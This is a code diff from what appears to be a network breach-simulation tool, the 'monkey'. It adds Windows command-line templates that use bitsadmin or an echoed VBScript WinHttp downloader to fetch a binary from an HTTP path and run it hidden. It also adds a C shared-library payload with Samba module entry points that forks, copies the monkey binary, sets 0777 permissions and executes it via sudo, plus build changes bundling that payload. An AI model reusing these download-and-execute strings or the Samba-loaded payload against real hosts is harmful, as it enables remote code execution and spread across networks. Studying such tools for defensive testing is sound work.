MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )

View File

@ -7,13 +7,17 @@ a = Analysis(['main.py'],
pathex=['.'], pathex=['.'],
binaries=None, binaries=None,
datas=None, datas=None,
hiddenimports=['_cffi_backend','grequests'], hiddenimports=['_cffi_backend'],
hookspath=None, hookspath=None,
runtime_hooks=None, runtime_hooks=None,
excludes=None, excludes=None,
win_no_prefer_redirects=None, win_no_prefer_redirects=None,
win_private_assemblies=None, win_private_assemblies=None,
cipher=block_cipher) cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data, pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher) cipher=block_cipher)
exe = EXE(pyz, exe = EXE(pyz,

View File

@ -3,10 +3,14 @@ import os
import platform import platform
a = Analysis(['main.py'], a = Analysis(['main.py'],
pathex=['.'], pathex=['.'],
hiddenimports=['_cffi_backend', 'queue','grequests'], hiddenimports=['_cffi_backend', 'queue'],
hookspath=None, hookspath=None,
runtime_hooks=None) runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0: if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0] a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit": if platform.architecture()[0] == "32bit":

View File

@ -0,0 +1,3 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o

View File

@ -0,0 +1,160 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30)
int samba_init_module(void)
{
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
found = 1;
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (NULL == pFile)
{
return 0;
}
monkeyBinary = malloc(monkeySize);
if (NULL == monkeyBinary)
{
return 0;
}
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
{
return 0;
}
system(commandline);
return 0;
}
int init_samba_module(void)
{
return samba_init_module();
}

View File

@ -0,0 +1,7 @@
#ifndef monkey_runner_h__
#define monkey_runner_h__
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__

View File

@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [
}, },
{ {
'type': 'linux', 'type': 'linux',
'filename': 'monkey-linux-32', 'filename': 'monkey-linux-64',
}, },
{ {
'type': 'windows', 'type': 'windows',